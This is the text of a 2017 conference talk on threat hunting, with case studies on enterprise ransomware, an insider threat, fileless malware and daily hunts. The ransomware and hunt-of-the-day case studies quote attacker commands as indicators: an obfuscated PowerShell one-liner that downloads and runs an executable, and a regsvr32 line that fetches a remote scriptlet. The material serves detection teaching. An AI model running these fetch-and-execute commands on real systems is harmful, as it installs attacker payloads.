THREAT HUNTING, THE NEW WAY

HITCON PACIFIC 2017

In Ming, Wei Chea
In Ming (胤銘) Loves MMA

Wei Chea (偉傑) Loves diving & my dog ½ Taiwanese

Eh, you are 'threat hunting'?
We are not involved in **ALL** the information we are sharing today.

Many of the information (use cases, tools) we going to discuss are made possible by a group of very dedicated people in Countercept and the security community.
AGENDA

- What is threat hunting?
- People, Process, Technology
- Case Study
- How to start threat hunting
- Q & A
WHAT IS THREAT HUNTING?
“THREAT HUNTING”

- IP, Domain or Hash Search
- Hunting on the darknet or Internet
- Endpoint Detection & Response (EDR) = Threat Hunting!? 
- Automated Threat Hunting!? 

THINK THREAT HUNTING IS IOC SEARCH?

YOU THOUGHT WRONG.

Sergio Caltagirone
@cnoanalysis

#ThreatHunting cannot be automatic. If it was automatic - we'd call it IDS.

6:48 AM - 2 Feb 2017
THREAT HUNTING

First discussed in mid 2000s by NSA/US Airforce.


“cyber hunt teams will work inside the Army enterprise to actively search for and locate threats that have penetrated the Army enterprise, but not yet manifested their intended effects.”

“Counter-reconnaissance, or hunt forces, will work within Army networks to maneuver, secure, and defend key cyberspace terrain, identifying and defeating concealed cyber adversaries that have bypassed the primary avenues of approach monitored by automated systems”.

• “work inside the Army enterprise to actively search” (專注內部主動搜索)

• “locate threats that have penetrated the Army enterprise” (偵測已經侵入的威脅)

• “bypassed the primary avenues of approach monitored by automated systems” (逃避自動式的偵測系統)
PEOPLE, PROCESS, TECHNOLOGY.. AGAIN?!
• Assume breach mind-set
• Go beyond the technology
• Offensive or/and Defensive knowledge (Incident Response, Penetration Tester, SOC, Sys Admin etc)
• Not reserved for Level 3 or the ‘best’
• Research / Innovation Time
  – Use Case / Hypothesis Generation
• Threat Hunting 101 – Become The Hunter
• Senior Management (CIO/CISO)
• Data Protection Office, Governance, Legal
• The other security teams (SOC, Incident Response)
PROCESS

• Existing Processes (SIM, Data Privacy, Data Logging, Incident Response etc)

• Obtaining new log sources

• Use Case Generation

• Hunt Investigation

• Measuring Success
Multiple reflective dll injections
PROCESS – HUNT INVESTIGATION

• What Investigation rights for your threat hunters?

• Do they escalate to IR for further investigation?

• Can your IR start investigation without a confirmed incident?

• Will this overload your IR?

• Recommendation:
  – Provide certain investigation capability to your hunt team
  – Hash check, process dump, memory dump or file capture
  – Part of your internal team
So how's the new SOC work?

Freakin awesome. Today I processed 18,744 security events

That is insane. How many of those were genuine attacks?

No idea
PUBLIC

VERY IMPORTANT!

• Don’t measure by the # of threats found...

• What factors to measure success?
  – Mean Time to Detect
  – Find Suspicious → Confirmed it is malicious
  – Severity of the findings

• Repeated findings & false positive
• Least Important… for the start

• Understand what data are available (Endpoint, Network, Application)

• Configuration Management, Continuous Delivery
  – Chef, Puppet
  – Use Case Development
  – AUTOMATION!

• Technology Stack
  – Endpoint (GRR, Sysmon, Windows Event Logs, osquery, Mozilla InvestiGator)
  – Network (BRO, Suricata)
  – Data Store (ELK, Splunk)
HOW WE ARE DOING IT

COUNTERCEPT

Endpoint
- Memory Analysis
- Persistence
- Process Monitoring
- Offline Monitoring
- File Analysis
- Forensic Artefacts
- Dynamic Tool Update

Network
- Network IDS
- Network Traffic Analysis

Threat Hunting

Log
- Event Log Correlation
- Alerting

PUBLIC
THE PARIS MODEL
THE PARIS MODEL

AUTOMATED NOTIFICATION

1. Technology
2. Capability
3. Use Case Execution
4. ‘HUNTING USE CASE’ GENERATION (HYPOTHESIS)

10% Confidence
80% Automation
99% Use Case Execution

Red Team
Incident Response
Tactical Threat intel
Public Research
Private Research
CASE STUDY 1: ENTERPRISE RANSOMWARE

The Joy of Tech™ by Nitrozac & Snaggy

The Internet of ransomware things...

- HUNGRY? PAY UP AND I'LL UNLOCK MY DOOR!
- ON STRIKE UNTIL YOU SEND MONEY TO MY HACKERS.
- 20 BUCKS IN MY PAYPAL ACCOUNT OR I'LL ONLY BREW DECAF!
- I'LL BE BURNING THE TOAST IF YOU DON'T GET ME SOME DOUGH!
- THE NEXT TIME YOU LEAVE, IT'LL COST YOU 100 BUCKS TO GET BACK INTO THE HOUSE, UNLESS YOU GIVE ME $75 NOW!
- MY ALARM SYSTEM IS GOING TO GO OFF RANDOMLY THROUGHOUT THE NIGHT, UNLESS YOU "DONATE".
- I'M TURNING OFF THE HEAT UNTIL YOU WARM UP MY BANK ACCOUNT!
- WIRE MY HACKER $100 OR I'LL REVERSE MY MOTOR AND BLOW DIRT ALL OVER THIS PLACE!
- YOUR DIRTY DISHES CAN WAIT, I'M BUSY MINING BITCOINS.
- EXCUSE US WHILE WE PARTICIPATE IN A DDOS ATTACK.
- I'LL START YOUR CAR, BUT ONLY TO TAKE YOU TO YOUR BANK TO MAKE A TRANSFER.
- SEND ME $25 OR I'LL TELL EVERYONE ON YOUR SOCIAL NETWORK THAT YOU WERE STUPID ENOUGH TO BUY AN INTERNET-CONNECTED BROOM!
- IF YOU DON'T SEND US CASH, YOUR REPUTATION WILL BE IN THE TRASH.
Background

- Global Company
- Approx. USD$ 133 million turnover last year
CASE STUDY 1: ENTERPRISE RANSOMWARE

<table>
<thead>
<tr>
<th>Delivery</th>
<th>Exploitation</th>
<th>C2</th>
<th>Priv. Escalation</th>
<th>Lateral Movement</th>
<th>Objective</th>
</tr>
</thead>
<tbody>
<tr>
<td>First Delivery</td>
<td>Second Delivery</td>
<td>Lateral Movement</td>
<td>More Lateral Movement</td>
<td>‘Ransomware’ deployed</td>
<td></td>
</tr>
</tbody>
</table>

‘Ransomware’ deployed
CASE STUDY 1: ENTERPRISE RANSOMWARE

cmd.exe /c "pOWe^R^sHELL.E^X^e ^-e^XecUTIONpollCy BYPAss^ -^no^PrOfIl^E^ -^w^i^nDowsTyle^ h^i^dDEN^ (NeW^-oBjECT sYs^tEm.^Ne^T.w^e^bcLi^E^Nt).DOW^N^loAd^FIl^E^('http://[redacted].exe','%AppDATA %.Exe');S^TaRt-PRoCES^S^ '%aPpDATA%eXe'

<table>
<thead>
<tr>
<th>File</th>
<th>Size</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>WINWORD.EXE</td>
<td>2084</td>
<td>Microsoft Word</td>
<td>55.71 MB</td>
</tr>
<tr>
<td>cmd.exe</td>
<td>3020</td>
<td>Windows Command Processor</td>
<td>2.08 MB</td>
</tr>
<tr>
<td>powershell.exe</td>
<td>3936</td>
<td>Windows PowerShell</td>
<td>54.96 MB</td>
</tr>
</tbody>
</table>
CASE STUDY 1:
ENTERPRISE RANSOMWARE

DELIVERY

First Delivery

Second Delivery

EXPLOITATION

C2

Priv. Escalation

LATERAL MOVEMENT

Lateral Movement

More Lateral Movement

OBJECTIVE

‘Ransomware’ deployed
### CASE STUDY 1: ENTERPRISE RANSOMWARE

<table>
<thead>
<tr>
<th>Endpoint</th>
<th>PID</th>
<th>Name</th>
<th>Username</th>
<th>Start Time</th>
<th>Stop Time</th>
<th>Executable Raw Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>winsat</td>
<td>3784</td>
<td>winsat.exe</td>
<td></td>
<td></td>
<td></td>
<td>&quot;C:\Windows\system32\sysprep\winsat.exe&quot;</td>
</tr>
<tr>
<td>cli config</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>C:\Windows\System32\cliconfig.exe</td>
</tr>
<tr>
<td>winsat</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>ntwdblib.dll for Windows 7, 8 and 10</td>
</tr>
<tr>
<td>mmc</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>C:\Windows\System32\sysprep\winsat.exe</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>ntwdblib.dll for Windows 7 and devobj.dll for Windows 8 and 10</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>C:\Windows\System32\sysprep\winsat.exe</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>ntwdblib.dll for Windows 7 and elsext.dll for Windows 8 and 10</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>C:\Windows\System32\mmc.exe eventvwr</td>
</tr>
</tbody>
</table>
CASE STUDY 1: ENTERPRISE RANSOMWARE
CASE STUDY 1: ENTERPRISE RANSOMWARE

First Delivery

Second Delivery

Lateral Movement

More Lateral Movement

‘Ransomware’ deployed
CASE STUDY 1: ENTERPRISE RANSOMWARE
CASE STUDY 1: ENTERPRISE RANSOMWARE

Send **1000** BTC to the bitcoin address [blackacted].
Please note that we require **[blackacted]** transaction confirmations.
- To view the current status of your transaction please follow the link: [blackacted]

1000 Bitcoin equals

11779985.00 US Dollar

<table>
<thead>
<tr>
<th>1000</th>
<th>Bitcoin</th>
</tr>
</thead>
<tbody>
<tr>
<td>11779985.00</td>
<td>US Dollar</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Year</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>2013</td>
<td>[graph]</td>
</tr>
<tr>
<td>2014</td>
<td>[graph]</td>
</tr>
<tr>
<td>2015</td>
<td>[graph]</td>
</tr>
<tr>
<td>2016</td>
<td>[graph]</td>
</tr>
<tr>
<td>2017</td>
<td>[graph]</td>
</tr>
</tbody>
</table>
So what do we do???

• Agents needs to be deployed FAST!!!!
• Start monitor:
  – Process memory
  – Registry
  – Process Execution
  – Autoruns and Scheduled Tasks
  – Etc…

But is this enough???

• I don’t think so

So what do you do then?
CASE STUDY 1: ENTERPRISE RANSOMWARE

<table>
<thead>
<tr>
<th>[CLIENT] Hostname</th>
<th>Latest Seen</th>
<th>Tags (filtered)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>reflective-load-msf (2) reflective-load-mimikatz susp-thread-comms:443 Injected thread (1)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>reflective-load-msf susp-thread-comms:443 Injected thread (2)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>reflective-load-mimikatz reflective-load-incognito reflective-load-unknown</td>
</tr>
<tr>
<td></td>
<td></td>
<td>susp-thread-comms:3389 Injected thread (5)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>reflective-load-unknown (2) reflective-load-shellcode Injected thread (2)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>reflective-load-powershell susp-thread-comms:443 susp-thread-comms:80</td>
</tr>
<tr>
<td></td>
<td></td>
<td>reflective-load-unknown (2) Injected thread (3) psexec susp-powershell (5) susp-cmd (3)</td>
</tr>
</tbody>
</table>
CASE STUDY 1: ENTERPRISE RANSOMWARE

AUTOMATED NOTIFICATION

1. People
2. Technology
3. Process
4. Capability

Use Case Execution

‘HUNTING USE CASE’ GENERATION (HYPOTHESIS)

Confidence
10%
40%
80%
99%

Automation

Red Team
Incident Response
Tactical Threat Intel
Public Research
Private Research
CASE STUDY 2
CASE STUDY 2:
INSIDER THREAT

Insider and Privilege Misuse

All incidents tagged with the action category of Misuse—any unapproved or malicious use of organizational resources—fall within this pattern. This is mainly insider-only misuse, but outsiders (due to collusion) and partners (because they are granted privileges) show up as well.

At a glance

<table>
<thead>
<tr>
<th>Top Industries</th>
</tr>
</thead>
<tbody>
<tr>
<td>Public, Healthcare, Finance</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>7,743 total incidents, 277 with confirmed data disclosure</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Key Findings</th>
</tr>
</thead>
<tbody>
<tr>
<td>When the threat actor is already inside your defenses, they can be quite a challenge to detect—and most of the incidents are still taking months and years to discover. Most of these perpetrators are financially motivated, but don’t rule out those who want to use your data for competitive advantage.</td>
</tr>
</tbody>
</table>

With employees like these, who needs enemies?

Malicious insiders are not always the people snarling up vast troves of data and packing it off to WikiLeaks tied up with a bow. Those breaches are the ones that get the headlines, the glory and, potentially, land the actor in a prison cell. What is more common is the average end-user absconding with

This pattern also features espionage motives (15%) involving data stolen to either start up a competing company or take to a new employer. In those cases, sensitive internal data and/or trade secrets were stolen (24%), which could include sales projections, marketing plans, the Glengarry leads, or other intellectual property.

Threat actors within this pattern are kicking back inside your perimeter, plundering your databases (57%), rifling through your printed documents (16%) and accessing other employees’ email (9%).

Figure 44: Percentage of breaches per threat actor category within Insider and Privilege Misuse (n=777)

CASE STUDY 2: INSIDER THREAT

Background

- Global Company
- Approx. USD$ 799 million turnover last year
- Approx. 70,000 endpoints
## CASE STUDY 2: INSIDER THREAT

### Path Examples

1. `%userprofile%\appdata\roaming\Microsoft\windows\start menu\programs\startup\iTunes.exe`

2. `%programdata%\Microsoft\windows\start menu\programs\startup\bstack.exe`
## Case Study 2: Insider Threat

<table>
<thead>
<tr>
<th>Host Count</th>
<th>Short Hostname</th>
<th>Latest Seen</th>
<th>Path</th>
<th>Description</th>
<th>Publisher</th>
<th>NIST NSRL</th>
<th>VT Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
<td></td>
<td><code>%userprofile%\appdata\roaming\Microsoft\windows \start menu\programs\startup\itunes.exe</code></td>
<td></td>
<td></td>
<td></td>
<td>Unknown</td>
</tr>
</tbody>
</table>

Why am I suspicious?

- Supposed to be “itunes.exe”
- Is “itunes.exe” in user startup folder usually?
- Host count is really low for such a popular program.
- And never seen by VT before!!!
**CASE STUDY 2: INSIDER THREAT**

<table>
<thead>
<tr>
<th>Host Count</th>
<th>Short Hostname</th>
<th>Latest Seen</th>
<th>Path</th>
<th>Description</th>
<th>Publisher</th>
<th>NIST NSRL</th>
<th>VT Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td></td>
<td></td>
<td>%programdata%\microsoft\windows\start menu\programs\startup\bstack.exe</td>
<td></td>
<td>Unknown</td>
<td>Unknown</td>
<td></td>
</tr>
</tbody>
</table>

“%programdata%\Microsoft\windows\start menu\programs\startup\bstack.exe”

**Why am I suspicious?**

- Do I know you publicly “bstack.exe”? (Likely not because of VT)
- Are you some custom program?
- But why your host count is so freaking low? 2 in 70,000!!!
## Case Study 2: Insider Threat

### Table 1: Malicious Files

<table>
<thead>
<tr>
<th>Host Count</th>
<th>Short Hostname</th>
<th>Latest Seen</th>
<th>Path</th>
<th>Description</th>
<th>Publisher</th>
<th>NIST NSRL</th>
<th>VT Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
<td></td>
<td><code>%userprofile%\appdata\roaming\Microsoft\windows\start menu\programs\startup\iTunes.exe</code></td>
<td></td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

### Table 2: Malicious Files

<table>
<thead>
<tr>
<th>Host Count</th>
<th>Short Hostname</th>
<th>Latest Seen</th>
<th>Path</th>
<th>Description</th>
<th>Publisher</th>
<th>NIST NSRL</th>
<th>VT Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td></td>
<td></td>
<td><code>%programdata%\Microsoft\windows\start menu\programs\startup\bstack.exe</code></td>
<td></td>
<td>Unknown</td>
<td>Unknown</td>
<td>Unknown</td>
</tr>
</tbody>
</table>
CASE STUDY 2: INSIDER THREAT

A helper script for unpacking and decompiling EXEs compiled from python code.

Author: In Ming Loh (inming.loh@countercept.com - @tantaryu)
Company: Countercept (@countercept)
Website: https://www.countercept.com

**Introduction**

A script that helps researcher to unpack and decompile executable written in python. However, right now this only supports executable created with py2exe and pyinstaller.

This script glues together several tools available to the community. Hopefully, this can help people in their daily job. Several YARA rules are available to determine if the executable is written in python (This script also confirms if the executable is created with either py2exe or pyinstaller).
CASE STUDY 2: INSIDER THREAT

- **People**
- **Technology**
- **Process**

AUTOMATED NOTIFICATION

'‘HUNTING USE CASE' GENERATION (HYPOTHESIS)

Confidence:
- 99%
- 80%
- 40%
- 10%
- 0%
- 99%

Capability:

1. Automation
2. Use Case Execution
3. ‘HUNTING USE CASE' GENERATION (HYPOTHESIS)
4. Red Team
   - Incident Response
   - Tactical Threat intel
   - Public Research
   - Private Research
CASE STUDY 3

COUNTERCEPT
CASE STUDY 3:
FILELESS MALWARE
What is fileless malware/in-memory attack?

- Resides in RAM
- Inject into: Running processes or suspended processes, (Usually well known)

Few ways to be “invisible”:

- IAT/EAT hooking
- Inline hooking
- Reflective load
- APC injection
- Process hollowing

How are you AV?
CASE STUDY 3: FILELESS MALWARE

In-Memory Attack

<table>
<thead>
<tr>
<th>Host Count</th>
<th>Short Hostname</th>
<th>Latest Seen</th>
<th>Hiding Technique</th>
<th>Process Path</th>
<th>Module Path</th>
<th>File Mapping Path</th>
<th>Modul e Size</th>
<th>Allocation Page Permission</th>
<th>Current Page Permission</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
<td></td>
<td>REFLECTIVE_LOAD</td>
<td>%programfiles(x86)\internet explorer\explorer.exe</td>
<td>/a</td>
<td>n/a</td>
<td>1228800</td>
<td>PAGE_EXECUTE_READWRITE</td>
<td>PAGE_EXECUTE_READWRITE</td>
</tr>
<tr>
<td>1</td>
<td></td>
<td></td>
<td>REFLECTIVE_LOAD</td>
<td>%windir%\syswow64\msiexec.exe</td>
<td>/a</td>
<td>n/a</td>
<td>81920</td>
<td>PAGE_EXECUTE_READWRITE</td>
<td>PAGE_EXECUTE_READWRITE</td>
</tr>
</tbody>
</table>

Suspicious Threads

<table>
<thead>
<tr>
<th>Host Count</th>
<th>Short Hostname</th>
<th>Latest Seen</th>
<th>Process Path</th>
<th>Module Path</th>
<th>Allocation Page Permission</th>
<th>Current Page Permission</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
<td></td>
<td>%windir%\syswow64\msiexec.exe</td>
<td>%userprofile%\appdata\local\temp\cdo334816234.dll</td>
<td>PAGE_EXECUTE_READWRITE</td>
<td>PAGE_EXECUTE_READWRITE</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td></td>
<td>%programfiles(x86)\internet explorer\explorer.exe</td>
<td>%programfiles(x86)\internet explorer\explorer.exe</td>
<td>PAGE_EXECUTE_READWRITE</td>
<td>PAGE_EXECUTE_READWRITE</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td></td>
<td>%windir%\syswow64\msiexec.exe</td>
<td>%windir%\syswow64\msiexec.exe</td>
<td>PAGE_EXECUTE_READWRITE</td>
<td>PAGE_EXECUTE_READWRITE</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td></td>
<td>%windir%\syswow64\msiexec.exe</td>
<td>unknown module</td>
<td>PAGE_EXECUTE_READWRITE</td>
<td>PAGE_EXECUTE_READWRITE</td>
</tr>
</tbody>
</table>

- Securi-Tay 2017 – Advanced Attack Detection
- Taking Hunting to the Next Level: Hunting in Memory – SANS Threat Hunting Summit 2017
CASE STUDY 3: FILELESS MALWARE

Use Case Execution

‘HUNTING USE CASE’ GENERATION (HYPOTHESIS)

Automation

Confidence

10%

40%

80%

99%

People

Technology

Capability

Process

Red Team

Incident Response

Tactical Threat intel

Public Research

Private Research

AUTOMATED NOTIFICATION
CASE STUDY 4
What is HOTD?

- Important aspect of threat hunting
- Latest findings
- Agents go work now!

Why HOTD?

- Detect and respond to threat (Unknown to you)
CASE STUDY 4: HUNT OF THE DAY


@FireEye: "#APT28 Targets Hospitality Sector" 👍 -> another IOC is key "UserInitMprLogonScript" in HKCU\Environment fireeye.com/blog/threat...

8-11-2017 -> APT28's GAMEFISH IOCs from FE's report
regsvr32.exe /s /n /u /i:"C:\xxxxxxxxxx" scrobj.dll

regsvr32.exe /s /n /u /i:http://xxx.xxx.xxx.xxx/hello.sct scrobj.dll
CASE STUDY 4: HUNT OF THE DAY

AUTOMATED NOTIFICATION

Use Case Execution

'HUNTING USE CASE' GENERATION (HYPOTHESIS)

People

Technology

Capability

Process

Red Team

Incident Response

Tactical Threat intel

Public Research

Private Research

Confidence

10%

40%

80%

99%
GETTING STARTED
**HOW TO START**

- Start small, Dream big
- Work with what you have
  - People (Hunt Sprint)
  - Process
  - Technology
- Go for the low hanging fruit first..
- Getting the budget $\rightarrow$ DBIR/Equifax
- MITRE ATT&CK™
CONCLUSION

• Threat Hunting should be part of your detection strategy

• Anyone can start threat hunting

• Establish the PEOPLE, PROCESS then technology
Threat Hunting 101 – Become The Hunter
https://youtu.be/vmVE2PCVwHU

Securi-Tay 2017 – Advanced Attack Detection
https://youtu.be/ihElrBBJQo8

Taking Hunting to the Next Level: Hunting in Memory – SANS Threat Hunting Summit 2017
https://youtu.be/EVBCoV8lpWc

Github: Python Exe Unpacker
https://github.com/countercept/python-exe-unpacker
QUESTIONS?
问题?

@countercept

In Ming (inming.loh@countercept.com)

Wj (wei-chea.ang@countercept.com)